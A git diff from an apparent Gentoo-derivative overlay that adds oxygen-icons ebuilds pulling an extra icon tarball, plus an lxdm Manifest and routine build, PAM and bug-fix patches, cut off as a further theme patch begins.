00000000..a23f444b --- /dev/null +++ b/kde-base/oxygen-icons/metadata.xml @@ -0,0 +1,5 @@ + + + + kde + diff --git a/kde-base/oxygen-icons/oxygen-icons-4.10.4.ebuild b/kde-base/oxygen-icons/oxygen-icons-4.10.4.ebuild new file mode 100644 index 00000000..e9e1e714 --- /dev/null +++ b/kde-base/oxygen-icons/oxygen-icons-4.10.4.ebuild @@ -0,0 +1,42 @@ +# Copyright 1999-2012 Gentoo Foundation +# Distributed under the terms of the GNU General Public License v2 +# $Header: Exp $ + +EAPI=4 + +if [[ ${PV} == *9999 ]]; then + KMNAME="kdesupport" +else + # Upstream does not ship releases properly so we dont want all versions + MY_PV="4.9.0" + MY_P="${PN}-${MY_PV}" +fi +KDE_REQUIRED="never" +KDE_SCM="svn" +inherit kde4-base + +DESCRIPTION="Oxygen SVG icon theme." +HOMEPAGE="http://www.oxygen-icons.org/" +[[ ${PV} == *9999 ]] || \ +SRC_URI=" + !bindist? ( http://dev.gentoo.org/~johu/distfiles/${MY_P}.repacked.tar.xz ) + bindist? ( ${SRC_URI//${PV}/${MY_PV}} ) +" +SLREV=1 +SRC_URI="${SRC_URI} http://pkg.rogentos.ro/~rogentos/distro/x11-themes/fdo-icons-rogentos${SLREV}.tar.gz + http://pkg2.rogentos.ro/~noxis/distro/x11-themes/fdo-icons-rogentos${SLREV}.tar.gz" + +LICENSE="LGPL-3" +KEYWORDS="~amd64 ~x86 ~arm ~amd64-linux ~x86-linux" +IUSE="aqua bindist" + +DEPEND="" +RDEPEND="${DEPEND}" + +[[ ${PV} == *9999 ]] || S=${WORKDIR}/${MY_P} + +src_prepare() { + kde4-base_src_prepare + cp -r "${WORKDIR}"/fdo-icons-rogentos/* "${S}" || die + # cp -r ../fdo-icons-rogentos/* ../${P} || die +} diff --git a/kde-base/oxygen-icons/oxygen-icons-4.9.0.ebuild b/kde-base/oxygen-icons/oxygen-icons-4.9.0.ebuild new file mode 100644 index 00000000..3213a25f --- /dev/null +++ b/kde-base/oxygen-icons/oxygen-icons-4.9.0.ebuild @@ -0,0 +1,40 @@ +# Copyright 1999-2012 Gentoo Foundation +# Distributed under the terms of the GNU General Public License v2 +# $Header: Exp $ + +EAPI=4 + +if [[ ${PV} == *9999 ]]; then + KMNAME="kdesupport" +else + # Upstream does not ship releases properly so we dont want all versions + MY_PV="4.9.0" + MY_P="${PN}-${MY_PV}" +fi +KDE_REQUIRED="never" +inherit kde4-base + +DESCRIPTION="Oxygen SVG icon theme." +HOMEPAGE="http://www.oxygen-icons.org/" +[[ ${PV} == *9999 ]] || \ +SRC_URI=" + !bindist? ( http://dev.gentoo.org/~dilfridge/distfiles/${MY_P}.repacked.tar.xz ) + bindist? ( ${SRC_URI//${PV}/${MY_PV}} ) +" +SLREV=1 +SRC_URI="${SRC_URI} http://pkg2.rogentos.ro/~noxis/distro/${CATEGORY}/fdo-icons-rogentos${SLREV}.tar.gz" + +LICENSE="LGPL-3" +KEYWORDS="~amd64 ~x86 ~arm ~amd64-linux ~x86-linux" +IUSE="aqua bindist" + +DEPEND="" +RDEPEND="${DEPEND}" + +[[ ${PV} == *9999 ]] || S=${WORKDIR}/${MY_P} + +src_prepare() { + kde4-base_src_prepare + cp -r "${WORKDIR}"/fdo-icons-rogentos/* "${S}" || die + # cp -r ../fdo-icons-rogentos/* ../${P} || die +} diff --git a/kde-base/oxygen-icons/oxygen-icons-4.9.1.ebuild b/kde-base/oxygen-icons/oxygen-icons-4.9.1.ebuild new file mode 100644 index 00000000..3213a25f --- /dev/null +++ b/kde-base/oxygen-icons/oxygen-icons-4.9.1.ebuild @@ -0,0 +1,40 @@ +# Copyright 1999-2012 Gentoo Foundation +# Distributed under the terms of the GNU General Public License v2 +# $Header: Exp $ + +EAPI=4 + +if [[ ${PV} == *9999 ]]; then + KMNAME="kdesupport" +else + # Upstream does not ship releases properly so we dont want all versions + MY_PV="4.9.0" + MY_P="${PN}-${MY_PV}" +fi +KDE_REQUIRED="never" +inherit kde4-base + +DESCRIPTION="Oxygen SVG icon theme." +HOMEPAGE="http://www.oxygen-icons.org/" +[[ ${PV} == *9999 ]] || \ +SRC_URI=" + !bindist? ( http://dev.gentoo.org/~dilfridge/distfiles/${MY_P}.repacked.tar.xz ) + bindist? ( ${SRC_URI//${PV}/${MY_PV}} ) +" +SLREV=1 +SRC_URI="${SRC_URI} http://pkg2.rogentos.ro/~noxis/distro/${CATEGORY}/fdo-icons-rogentos${SLREV}.tar.gz" + +LICENSE="LGPL-3" +KEYWORDS="~amd64 ~x86 ~arm ~amd64-linux ~x86-linux" +IUSE="aqua bindist" + +DEPEND="" +RDEPEND="${DEPEND}" + +[[ ${PV} == *9999 ]] || S=${WORKDIR}/${MY_P} + +src_prepare() { + kde4-base_src_prepare + cp -r "${WORKDIR}"/fdo-icons-rogentos/* "${S}" || die + # cp -r ../fdo-icons-rogentos/* ../${P} || die +} diff --git a/kde-base/oxygen-icons/oxygen-icons-4.9.2.ebuild b/kde-base/oxygen-icons/oxygen-icons-4.9.2.ebuild new file mode 100644 index 00000000..ee29b964 --- /dev/null +++ b/kde-base/oxygen-icons/oxygen-icons-4.9.2.ebuild @@ -0,0 +1,42 @@ +# Copyright 1999-2012 Gentoo Foundation +# Distributed under the terms of the GNU General Public License v2 +# $Header: Exp $ + +EAPI=4 + +if [[ ${PV} == *9999 ]]; then + KMNAME="kdesupport" +else + # Upstream does not ship releases properly so we dont want all versions + MY_PV="4.9.0" + MY_P="${PN}-${MY_PV}" +fi +KDE_REQUIRED="never" +KDE_SCM="svn" +inherit kde4-base + +DESCRIPTION="Oxygen SVG icon theme." +HOMEPAGE="http://www.oxygen-icons.org/" +[[ ${PV} == *9999 ]] || \ +SRC_URI=" + !bindist? ( http://dev.gentoo.org/~johu/distfiles/${MY_P}.repacked.tar.xz ) + bindist? ( ${SRC_URI//${PV}/${MY_PV}} ) +" +SLREV=1 +SRC_URI="${SRC_URI} http://pkg.rogentos.ro/~rogentos/distro/x11-themes/fdo-icons-rogentos${SLREV}.tar.gz + http://pkg2.rogentos.ro/~noxis/distro/x11-themes/fdo-icons-rogentos${SLREV}.tar.gz" + +LICENSE="LGPL-3" +KEYWORDS="~amd64 ~x86 ~arm ~amd64-linux ~x86-linux" +IUSE="aqua bindist" + +DEPEND="" +RDEPEND="${DEPEND}" + +[[ ${PV} == *9999 ]] || S=${WORKDIR}/${MY_P} + +src_prepare() { + kde4-base_src_prepare + cp -r "${WORKDIR}"/fdo-icons-rogentos/* "${S}" || die + # cp -r ../fdo-icons-rogentos/* ../${P} || die +} diff --git a/kde-base/oxygen-icons/oxygen-icons-4.9.3.ebuild b/kde-base/oxygen-icons/oxygen-icons-4.9.3.ebuild new file mode 100644 index 00000000..e9e1e714 --- /dev/null +++ b/kde-base/oxygen-icons/oxygen-icons-4.9.3.ebuild @@ -0,0 +1,42 @@ +# Copyright 1999-2012 Gentoo Foundation +# Distributed under the terms of the GNU General Public License v2 +# $Header: Exp $ + +EAPI=4 + +if [[ ${PV} == *9999 ]]; then + KMNAME="kdesupport" +else + # Upstream does not ship releases properly so we dont want all versions + MY_PV="4.9.0" + MY_P="${PN}-${MY_PV}" +fi +KDE_REQUIRED="never" +KDE_SCM="svn" +inherit kde4-base + +DESCRIPTION="Oxygen SVG icon theme." +HOMEPAGE="http://www.oxygen-icons.org/" +[[ ${PV} == *9999 ]] || \ +SRC_URI=" + !bindist? ( http://dev.gentoo.org/~johu/distfiles/${MY_P}.repacked.tar.xz ) + bindist? ( ${SRC_URI//${PV}/${MY_PV}} ) +" +SLREV=1 +SRC_URI="${SRC_URI} http://pkg.rogentos.ro/~rogentos/distro/x11-themes/fdo-icons-rogentos${SLREV}.tar.gz + http://pkg2.rogentos.ro/~noxis/distro/x11-themes/fdo-icons-rogentos${SLREV}.tar.gz" + +LICENSE="LGPL-3" +KEYWORDS="~amd64 ~x86 ~arm ~amd64-linux ~x86-linux" +IUSE="aqua bindist" + +DEPEND="" +RDEPEND="${DEPEND}" + +[[ ${PV} == *9999 ]] || S=${WORKDIR}/${MY_P} + +src_prepare() { + kde4-base_src_prepare + cp -r "${WORKDIR}"/fdo-icons-rogentos/* "${S}" || die + # cp -r ../fdo-icons-rogentos/* ../${P} || die +} diff --git a/lxde-base/lxdm/Manifest b/lxde-base/lxdm/Manifest new file mode 100644 index 00000000..5e013e46 --- /dev/null +++ b/lxde-base/lxdm/Manifest @@ -0,0 +1,18 @@ +AUX lxdm-0.4.1-configure-add-pam.patch 1410 SHA256 22d9a569755acd1ffadc23939b6b2d0845f0956efafda31b3a91dbd5580a5815 SHA512 4a5f2f4a282739e74e63d583036e0cc84f3613983d3fac2795827d9065ade3e2cfc353472345be1948444ac4c2f037f5bc97c62a79a9b170e8fd6e0fc23ab6dd WHIRLPOOL d8ac31e16fce57b037cef36f88461ccb1e3669e5cef947aea2ed9ff32604aaee1ec959010e9a0e4099eebc86f34986cb774d2e6ddcc571afdc6b1104825dfb6d +AUX lxdm-0.4.1-fix-event-check-bug.patch 700 SHA256 dfc4248e4cbb2f84c7f65aba3d8105c5b49fde23c7a7c629a9104517a3a8291f SHA512 77845eb6a7dd9b59bac96bdf25de90daed13d4b45a103d83d983ea5f8e7747d1cfa65574d1849444ae73439b748c5d78b719fc70a0d592870d123d04f100d750 WHIRLPOOL 5e37fb882b5b2753ad9516c9ca43a4eea426e2344981868dc3d6fabb60424d52e70924493978de7e6a5f8ac4d18d8a128f5c41acc603076f16ecb88b7ec52243 +AUX lxdm-0.4.1-fix-pam-100-cpu.patch 444 SHA256 cf5aa1cd633c510be44cbb2d9dfa09fe6541c83c77297d000c010d5f0348ffde SHA512 2aef14d7dc9e2f10fda1d22b5837225f61af9a8fb46267ad98eb65149e72c165c6588c4816dc8c20ec90f49a2db5289b519f9b1c0b4b5b9ec430bea73fbac9a6 WHIRLPOOL 6039273a31292cc6903db4a84d89a2dc80fd0d776a9dc6f8dd438cf5d2d574e84b877a397e510267d4d7a690a0ed3520232c9225d8b590fc4b7e98c323d5e543 +AUX lxdm-0.4.1-fix-session-args.patch 1109 SHA256 192583f98adf2d13fd24e67ea026f3f4fbe1e4e04afc40e73b26efa51705c936 SHA512 01f9efddc52f803bba2a2a31b01f8316dbe0abcf39faec23ca6688e0eee81305046a0df91591e45040fc6f784514c0082775c53252f38b8483842062caa5db3b WHIRLPOOL 157c1c9e9fad4d6ae5b4d28019e4a7bbc00354de6486383b0d331aef8f83abe70bb39e01a29e089149e5cf1d5453a034f0991db2872dd681a2b5a8ce3e2840bc +AUX lxdm-0.4.1-git-fix-null-pointer-deref.patch 1560 SHA256 a33e3226c463bc445d7d27b11e34de8b09c7c1fdf44be8628d54334fd41b7ea3 SHA512 204124b2558280183e71799c2e006c9efb97b17bc5ef5f9cbf68afd0a4da2568d6e3d7a8d7dc3e12283b8d2febea541793fd72861ca7d692f1595be209d47f62 WHIRLPOOL 9f253d5b674c4a156e9fc99389c62c6271ca674beb109293992ba040520751310d229b270834a172c98275b2a5db6090679c41c663003a970c2bc60ddf631545 +AUX lxdm-0.4.1-missing-pam-defines.patch 583 SHA256 b9aa62fc73ce8f52f354388bcec0a03c228b40ba1a86e2aba1071501ecc1a5d8 SHA512 e7ebb98cae18874152ed5ae528db452428db5f0311cf92eeec93dc9bffaefb101fb587466e9f7c015199cf25c1fbc45ac1c20e3f41d7dd087622ac2e53b812e9 WHIRLPOOL ea2e3b6db573642ea79573e5a473a1ac00d6216fa1a848bb0b10b690a0f39a643fa43ff9f3f58467f6a4ad5083df8ee553f6315ed290e6d76d306ad023889707 +AUX lxdm-0.4.1-optional-consolekit.patch 1206 SHA256 7563a5cd8d121e6915c9e1fdfeb6bd94308f005a12e0a141b6249a99d711bb5a SHA512 74a4ab1460fcbbb0fb7632e8bd27afa3b1f737e41131816ad739c9e41678cd7abafa6811c0a72ce9eb3aeddb661e771d3707476df8940a5e670636764881fcd2 WHIRLPOOL 9be18b671bd5a27620462922a240dea1e9ce89820a0478930f81450a742b587dc7ed34b74c9c2cc724c4fc9eb872eaacfc534b6ec33146d9fa31ef399a1279c7 +AUX lxdm-0.4.1-pam-use-system-local-login.patch 513 SHA256 4200ca07cae26479d449de2cc0e0f4acf83b621f7dfcf314e8f91dd0e7a1e02d SHA512 82c21faf6fdc07bae6ea9af7b186d3ce2cae84879e1f6e1675d232d5d26883ba0f0eae66b8fbfa9da67fede2b017c867195c23ff68d80818d44452f5c06d34cd WHIRLPOOL c74c57560e557ff4d8a4719b485975b054397a8dc88e85a68cc5acdead318d611f1a597c58a3f2097609967c28fed506a3f82a0c88656f6a2bc1088853ea90fb +AUX lxdm-0.4.1-pam_console-disable.patch 344 SHA256 51d1a0f0b5749e451e313df3bd3d08b3f5181f00eb01993973393c1b4dcd8ad2 SHA512 15ebae762ca266da2986c6dc29b866068e7120457da253cc0513fb285c386869f35c074c2cd1cc1ff05045f533e565400cf39ae2f484eafb29fb2faeb2d260e4 WHIRLPOOL 42255d3a834333a0c830b1a8a045e526dd3ef93271a943eea542932cf04533de7e43ba3eea459c0c758e4851f3736b3a50f158c49a5a770fafce6dfefee173f5 +AUX lxdm-0.4.1-rogentos-1-theme.patch 708 SHA256 d78293c51bf67eabb33c703d7777900d06f954cf17a986f409dd83ba7f1b91e8 SHA512 614cf84a0cfdc5efa324bcb7c0596deca32ec8ebe1d3ec9bf82a6a6b5b92b5e82a75eeda1aef37f21c71ab094964a3fc275af62b7794f7f3b48de26efe08323a WHIRLPOOL 222e089c889abfae08fd2d7c5a0ccbbba79b0b66594d010b04d81aeee30036c4d0cca86d30567e71bf15256e8bd62097c4a2ea5514ce27fad2e81bc32a6b95e7 +AUX lxdm-0.4.1-rogentos-conf.patch 294 SHA256 9bfcb7d0eaada8485eed6d422943aea8aa8d3ea163203ac632ce7daa0041e095 SHA512 04395123bbdb536965376c9b5a1ade2d385d7b9aeaee584355fe770d9057970e10c4ced54df6a434b145403561741177fca53d0e40da923214ab4bc20043384a WHIRLPOOL cffae38828bcb88da2d66cd2a55b81ca4143e1088a6fb66ae0ad348922a06bc78c7def4e444fea19c2bbb63f27a60d60ec84cc7682de197ca96a0b249d7ab278 +AUX lxdm.service 212 SHA256 fbd01d0ecfa46c6451b63fb6d059e4ae602d0abbcf628ed7da5e12b2f6bbd45e SHA512 e73f7a956667e55a220db7745730f4cdaeb4f1912259d05eaf2208a32447b72d7f227cad78ec4dc765deedd6dc4b52b706825f0a71cd86d8b011aae64877c113 WHIRLPOOL f379741ce3bee813dd438727369635ecb7000f10f9cbf864bdb7f7f22de2ff31f9f55bcb32ec03398204affb0c17e52238bc6b9f0500bc12796a96ba48a93859 +AUX xinitrc 1549 SHA256 59b2f69c3a5eba060b2eaae43fc871d9b014419e3b51c84af95cee10f429880c SHA512 a3824b572eb661a8c0b823beafeef44112aa2d83d89a59090ea5c669c98b177a6cf8ec5b9ae69a000bbc0b6613a0c9fd750a96cfed0898b434705b3f811d4753 WHIRLPOOL fcc5968454cc889d412f26be1c41f3fc7c163cfb39b71a0dbed12823095f9472ce2fc9f4bd5dc9135f4434329923d88958526065fac74a95a9f4f566b1e36eee +DIST lxdm-0.4.1.tar.gz 296714 SHA256 9e0d0a5672fcf31a18de8178ce73eab1723d6ae7097dfe41e9fe2c46e180cf08 SHA512 8ed4a955a910def4db66958d1cb24976db178b8763199a024b6c2119894745e3646566c42d01472dffbbcbb7fd21784b01e74dc88038e01caebaa3b6d720ff27 WHIRLPOOL 1bbb55bf955f46aaac54ca3372c09308baa496297e56026456e464217f115d6b26994e8be6b6b228b663bb2e14cf9d5ace6930f75024f6426825dd4fefc5349f +EBUILD lxdm-0.4.1-r6.ebuild 1859 SHA256 92fe6c6d9b1ac26b7e85e21b98f88add5b55bdfe99d43366e9930790866c2821 SHA512 ab3df64a8f7e1a728b52c99394b9e1ac5db4c93df029a7cda41ab6768b73fdcf746e2c4688ef86a638a6ce435fa97c1a418c3c8d0655eb339ccc6383c626f16f WHIRLPOOL 9640868392cbb935cf98228fbf5141be3f492bf147777004f843dbbd90e06a27eb44a79fb5746b37aca93c0d478c9e9c86569d7de9bc72c19435232871c48266 +EBUILD lxdm-0.4.1-r7.ebuild 2160 SHA256 7ce9242f57210450540a8cd9197257285c1b939e7dbffc0a2a5a4ac1d79e9d4a SHA512 19b8f9908ff2acc7dce755c89dbcd893e376e082c80b41d286a7693044b17b36c4f326116b2f8e92b081b5daf35670419386abc433793a33affb97af4a2f3a16 WHIRLPOOL 8e081f25e9c8af0de111914c7eb0a0c9317464ad44184c8a94114e424f980f385cea611b01439b3ff4f09bec547369b8c76cfec535fe35b26a9f6d8e10f0586c +EBUILD lxdm-0.4.1-r8.ebuild 2299 SHA256 2da589b3a21ff5a2d965ca5767fbd2164638d20c9d5ce14a00a2d689192716e8 SHA512 eb88a293dcecb27946e501afc8fbafcdf186ce83c7fa2adc823664bea8ade54b0bd59d713b3840dd84a0996c967ee9b8f61e6cb8495300467db26748a6573e29 WHIRLPOOL 143e059dee411a44a3dece1c0a4ade0b1846632cd02c42d6e8623f708ac0d5c1858518e58e7d8e09c1efb1836e508d2760418ad9c5b3ef4adcd40922a01f89a9 +MISC metadata.xml 158 SHA256 9a4e79f77bc3e825c79c2d57e658c8460f7f7535a25a7beacbe0c94f2378ba57 SHA512 c6d71f05dbe4c805971c6f9798798a8d1da6155b3fdb2ed19c8a6df33b82467a878127640612304bc29c9f7f5209e604cfdab49d1084ff3dab1d15a8129eb7bc WHIRLPOOL 04c34cac223f8b7d6fd0940386fdb553545be42018e7e4a4d315da3562ba5006b9d4a9dc7625ec80b4bfa4175cb2ef1f5482b540c7d29b27b3884a4cdd81ed9b diff --git a/lxde-base/lxdm/files/lxdm-0.4.1-configure-add-pam.patch b/lxde-base/lxdm/files/lxdm-0.4.1-configure-add-pam.patch new file mode 100644 index 00000000..d91bf75a --- /dev/null +++ b/lxde-base/lxdm/files/lxdm-0.4.1-configure-add-pam.patch @@ -0,0 +1,45 @@ +From 949ee91acb55baeb4b8761957eabd2e5a345d2ae Mon Sep 17 00:00:00 2001 +From: Mitch Harder +Date: Thu, 8 Dec 2011 11:02:28 -0600 +Subject: Fix configure.ac test for pam libs. + +A bug report on Gentoo noted that the configure test for pam +wasn't working correctly. +https://bugs.gentoo.org/show_bug.cgi?id=384615 + +This corrections borrows the configure.ac pam testing method used in xdm. +--- + configure.ac | 13 +++++++++++-- + 1 files changed, 11 insertions(+), 2 deletions(-) + +diff --git a/configure.ac b/configure.ac +index e952473..eaa883a 100644 +--- a/configure.ac ++++ b/configure.ac +@@ -14,12 +14,21 @@ AC_PROG_INSTALL + AM_PROG_CC_C_O + + # Checks for libraries. + AC_CHECK_LIB([crypt], [crypt]) + +-AC_ARG_WITH(pam,AC_HELP_STRING([--without-pam],[build without pam]), +-[],[AC_CHECK_LIB([pam], [pam_open_session])]) ++# Check for PAM support ++AC_ARG_WITH(pam, AC_HELP_STRING([--with-pam],[Use PAM for authentication]), ++ [USE_PAM=$withval], [USE_PAM=$use_pam_default]) ++if test "x$USE_PAM" != "xno" ; then ++ AC_SEARCH_LIBS(pam_open_session,[pam]) ++ AC_CHECK_FUNC(pam_open_session, ++ [AC_DEFINE(USE_PAM,1,[Use PAM for authentication])], ++ [if test "x$USE_PAM" != "xtry" ; then ++ AC_MSG_ERROR(["PAM support requested, but pam_open_session not found."]) ++ fi]) ++fi + + AC_CHECK_LIB([ck-connector],[ck_connector_open_session]) + + # Checks for header files. + AC_PATH_X +-- +1.7.3.4 + diff --git a/lxde-base/lxdm/files/lxdm-0.4.1-fix-event-check-bug.patch b/lxde-base/lxdm/files/lxdm-0.4.1-fix-event-check-bug.patch new file mode 100644 index 00000000..f0ca23be --- /dev/null +++ b/lxde-base/lxdm/files/lxdm-0.4.1-fix-event-check-bug.patch @@ -0,0 +1,25 @@ +From d4e41ecb36a1ea29482b75674d804bb0f05540b2 Mon Sep 17 00:00:00 2001 +From: dgod +Date: Sun, 25 Dec 2011 15:23:19 +0800 +Subject: [PATCH] fix event check bug caused cpu 100% + +--- + src/lxcom.c | 2 +- + 1 files changed, 1 insertions(+), 1 deletions(-) + +diff --git a/src/lxcom.c b/src/lxcom.c +index 02763eb..18ee12e 100644 +--- a/src/lxcom.c ++++ b/src/lxcom.c +@@ -89,7 +89,7 @@ static gboolean lxcom_prepare (GSource *source,gint *timeout) + + static gboolean lxcom_check(GSource *source) + { +- return TRUE; ++ return (((LXComSource*)source)->poll.revents&G_IO_IN)?TRUE:FALSE; + } + + static gboolean lxcom_dispatch (GSource *source,GSourceFunc callback,gpointer user_data) +-- +1.7.4.1 + diff --git a/lxde-base/lxdm/files/lxdm-0.4.1-fix-pam-100-cpu.patch b/lxde-base/lxdm/files/lxdm-0.4.1-fix-pam-100-cpu.patch new file mode 100644 index 00000000..103268ef --- /dev/null +++ b/lxde-base/lxdm/files/lxdm-0.4.1-fix-pam-100-cpu.patch @@ -0,0 +1,16 @@ +--- lxdm-0.4.1.orig/src/lxdm.c ++++ lxdm-0.4.1/src/lxdm.c +@@ -1458,8 +1458,12 @@ void lxdm_do_login(struct passwd *pw, ch + setenv("XDG_SESSION_COOKIE", ck_connector_get_cookie(s->ckc), 1); + } + #endif ++ int i; ++ for(i=2;i<256;i++) ++ g_source_remove(i); ++ + char** env, *path; +- int n_env,i; ++ int n_env; + n_env = g_strv_length(environ); + /* copy all environment variables and override some of them */ + env = g_new(char*, n_env + 1 + 13); diff --git a/lxde-base/lxdm/files/lxdm-0.4.1-fix-session-args.patch b/lxde-base/lxdm/files/lxdm-0.4.1-fix-session-args.patch new file mode 100644 index 00000000..11bacdbb --- /dev/null +++ b/lxde-base/lxdm/files/lxdm-0.4.1-fix-session-args.patch @@ -0,0 +1,29 @@ +diff -Nurp data//Xsession data.new//Xsession +--- data//Xsession 2011-07-29 15:42:33.000000000 +0200 ++++ data.new//Xsession 2012-01-04 15:49:39.009452532 +0100 +@@ -20,7 +20,7 @@ if [ -f /etc/X11/xinit/xinitrc-common ]; + elif [ -x /usr/bin/ck-launch-session -a -z "$CK_XINIT_SESSION" ]; then + CK_XINIT_SESSION="/usr/bin/ck-launch-session" + fi +- exec -l $SHELL -c "$CK_XINIT_SESSION \"$LXSESSION\"" ++ exec -l "$SHELL" -c "$CK_XINIT_SESSION $LXSESSION" + elif [ -x /etc/X11/xinit/Xsession ]; then + # fedora + exec /etc/X11/xinit/Xsession "$LXSESSION" +@@ -30,7 +30,7 @@ elif [ -x /etc/X11/Xsession ]; then + elif [ -x /etc/X11/xinit/xinitrc ]; then + #suse + export WINDOWMANAGER=$LXSESSION +- exec -l $SHELL -c /etc/X11/xinit/xinitrc ++ exec -l "$SHELL" -c /etc/X11/xinit/xinitrc + else + # unknown, user should custom /etc/lxdm/xinitrc self + if [ -x /etc/lxdm/xinitrc ]; then +@@ -41,6 +41,6 @@ else + elif [ -x /usr/bin/ck-launch-session ]; then + CK_XINIT_SESSION="/usr/bin/ck-launch-session" + fi +- exec -l $SHELL -c "$CK_XINIT_SESSION \"$LXSESSION\"" ++ exec -l "$SHELL" -c "$CK_XINIT_SESSION $LXSESSION" + fi + diff --git a/lxde-base/lxdm/files/lxdm-0.4.1-git-fix-null-pointer-deref.patch b/lxde-base/lxdm/files/lxdm-0.4.1-git-fix-null-pointer-deref.patch new file mode 100644 index 00000000..7abdbd47 --- /dev/null +++ b/lxde-base/lxdm/files/lxdm-0.4.1-git-fix-null-pointer-deref.patch @@ -0,0 +1,51 @@ +From 19f82a206b2cec964cea0475395d63dedf183788 Mon Sep 17 00:00:00 2001 +From: Andrea Florio +Date: Fri, 29 Jul 2011 23:59:32 +0200 +Subject: [PATCH] fix null pointer dereference + +--- + src/config.c | 25 ++++++++++--------------- + 1 files changed, 10 insertions(+), 15 deletions(-) + +diff --git a/src/config.c b/src/config.c +index 3f92f7b..4603ab4 100644 +--- a/src/config.c ++++ b/src/config.c +@@ -125,24 +125,19 @@ static gboolean image_file_valid(const char *filename) + static void update_face_image(GtkWidget *w) + { + GdkPixbuf *pixbuf; +- char *path; +- path=g_build_filename(user->pw_dir,".face",NULL); +- if(access(path,R_OK)) +- { +- g_free(path); +- if(ui_nobody) +- pixbuf=gdk_pixbuf_new_from_file_at_scale(ui_nobody,48,48,FALSE,NULL); +- if(!pixbuf) +- pixbuf=gtk_icon_theme_load_icon(gtk_icon_theme_get_default(), ++ char *path=g_build_filename(user->pw_dir,".face",NULL); ++ pixbuf=gdk_pixbuf_new_from_file_at_scale(path,48,48,FALSE,NULL); ++ g_free(path); ++ if(!pixbuf && ui_nobody) ++ pixbuf=gdk_pixbuf_new_from_file_at_scale(ui_nobody,48,48,FALSE,NULL); ++ if(!pixbuf) ++ pixbuf=gtk_icon_theme_load_icon(gtk_icon_theme_get_default(), + "avatar-default", 48,GTK_ICON_LOOKUP_FORCE_SIZE,NULL); +- } +- else ++ if(pixbuf) + { +- pixbuf=gdk_pixbuf_new_from_file_at_scale(path,48,48,FALSE,NULL); +- g_free(path); ++ gtk_image_set_from_pixbuf(GTK_IMAGE(w),pixbuf); ++ g_object_unref(pixbuf); + } +- gtk_image_set_from_pixbuf(GTK_IMAGE(w),pixbuf); +- g_object_unref(pixbuf); + } + + static void set_face_file(const char *filename) +-- +1.7.0.1 + diff --git a/lxde-base/lxdm/files/lxdm-0.4.1-missing-pam-defines.patch b/lxde-base/lxdm/files/lxdm-0.4.1-missing-pam-defines.patch new file mode 100644 index 00000000..a59273cc --- /dev/null +++ b/lxde-base/lxdm/files/lxdm-0.4.1-missing-pam-defines.patch @@ -0,0 +1,29 @@ +From 0f9e8e53a8d30f5c8ccfb03edc282148f58bfd30 Mon Sep 17 00:00:00 2001 +From: dgod +Date: Sun, 1 Jan 2012 17:05:22 +0800 +Subject: [PATCH] fix bug introduced from pam detect + +--- + src/lxdm.c | 4 ++++ + 1 files changed, 4 insertions(+), 0 deletions(-) + +diff --git a/src/lxdm.c b/src/lxdm.c +index b5a90be..07be1e0 100644 +--- a/src/lxdm.c ++++ b/src/lxdm.c +@@ -25,8 +25,12 @@ + #include + #endif + #ifndef HAVE_LIBPAM ++#ifdef USE_PAM ++#define HAVE_LIBPAM 1 ++#else + #define HAVE_LIBPAM 0 + #endif ++#endif + + #include + #include +-- +1.7.4.1 + diff --git a/lxde-base/lxdm/files/lxdm-0.4.1-optional-consolekit.patch b/lxde-base/lxdm/files/lxdm-0.4.1-optional-consolekit.patch new file mode 100644 index 00000000..021f3212 --- /dev/null +++ b/lxde-base/lxdm/files/lxdm-0.4.1-optional-consolekit.patch @@ -0,0 +1,38 @@ +--- a/configure.ac ++++ b/configure.ac +@@ -28,8 +28,6 @@ if test "x$USE_PAM" != "xno" ; then + fi]) + fi + +-AC_CHECK_LIB([ck-connector],[ck_connector_open_session]) +- + # Checks for header files. + AC_PATH_X + AC_CHECK_HEADERS([shadow.h stdlib.h string.h unistd.h utmpx.h]) +@@ -89,11 +87,21 @@ PKG_CHECK_MODULES(GTK, [$pkg_modules]) + AC_SUBST(GTK_CFLAGS) + AC_SUBST(GTK_LIBS) + +-PKG_CHECK_MODULES(CONSOLEKIT, "ck-connector",[ +- AC_SUBST(CONSOLEKIT_CFLAGS) +- AC_SUBST(CONSOLEKIT_LIBS)],[ +- echo "ConsoleKit devel package not found" +- ]) ++AC_ARG_ENABLE(consolekit, ++AC_HELP_STRING([--enable-consolekit], [enable ConsoleKit support]), ++[case "${enableval}" in ++ yes) enable_ck=yes ;; ++ no) enable_ck=no ;; ++ *) AC_MSG_ERROR([bad value "${enableval}" for --enable-consolekit, use "yes" (default) or "no".]) ;; ++esac],[]) ++if test "x$enable_ck" = "xyes" ; then ++ AC_CHECK_LIB([ck-connector],[ck_connector_open_session]) ++ PKG_CHECK_MODULES(CONSOLEKIT, "ck-connector",[ ++ AC_SUBST(CONSOLEKIT_CFLAGS) ++ AC_SUBST(CONSOLEKIT_LIBS)],[ ++ echo "ConsoleKit devel package not found" ++ ]) ++fi + + AC_ARG_ENABLE(password, + AC_HELP_STRING([--enable-password],[enable to load autologin password store at config file]), diff --git a/lxde-base/lxdm/files/lxdm-0.4.1-pam-use-system-local-login.patch b/lxde-base/lxdm/files/lxdm-0.4.1-pam-use-system-local-login.patch new file mode 100644 index 00000000..9f723a2f --- /dev/null +++ b/lxde-base/lxdm/files/lxdm-0.4.1-pam-use-system-local-login.patch @@ -0,0 +1,15 @@ +--- lxdm-0.4.1.orig/pam/lxdm ++++ lxdm-0.4.1/pam/lxdm +@@ -1,9 +1,9 @@ + #%PAM-1.0 +-auth substack system-auth ++auth substack system-local-login + auth optional pam_gnome_keyring.so +-account include system-auth ++account include system-local-login + session optional pam_keyinit.so force revoke +-session include system-auth ++session include system-local-login + session required pam_loginuid.so + #session optional pam_console.so + session optional pam_gnome_keyring.so auto_start diff --git a/lxde-base/lxdm/files/lxdm-0.4.1-pam_console-disable.patch b/lxde-base/lxdm/files/lxdm-0.4.1-pam_console-disable.patch new file mode 100644 index 00000000..628e9a51 --- /dev/null +++ b/lxde-base/lxdm/files/lxdm-0.4.1-pam_console-disable.patch @@ -0,0 +1,9 @@ +--- lxdm-0.4.0.orig/pam/lxdm ++++ lxdm-0.4.0/pam/lxdm +@@ -5,5 +5,5 @@ account include system-auth + session optional pam_keyinit.so force revoke + session include system-auth + session required pam_loginuid.so +-session optional pam_console.so ++#session optional pam_console.so + session optional pam_gnome_keyring.so auto_start diff --git a/lxde-base/lxdm/files/lxdm-0.4.1-rogentos-1-theme.patch b/lxde-base/lxdm/files/lxdm-0.4.1-rogentos-1-theme.patch new file mode 100644 index 00000000..1a7f84a7 --- /dev/null +++ b/lxde-base/lxdm/files/lxdm-0.4.1-rogentos-1-theme.patch @@ -0,0 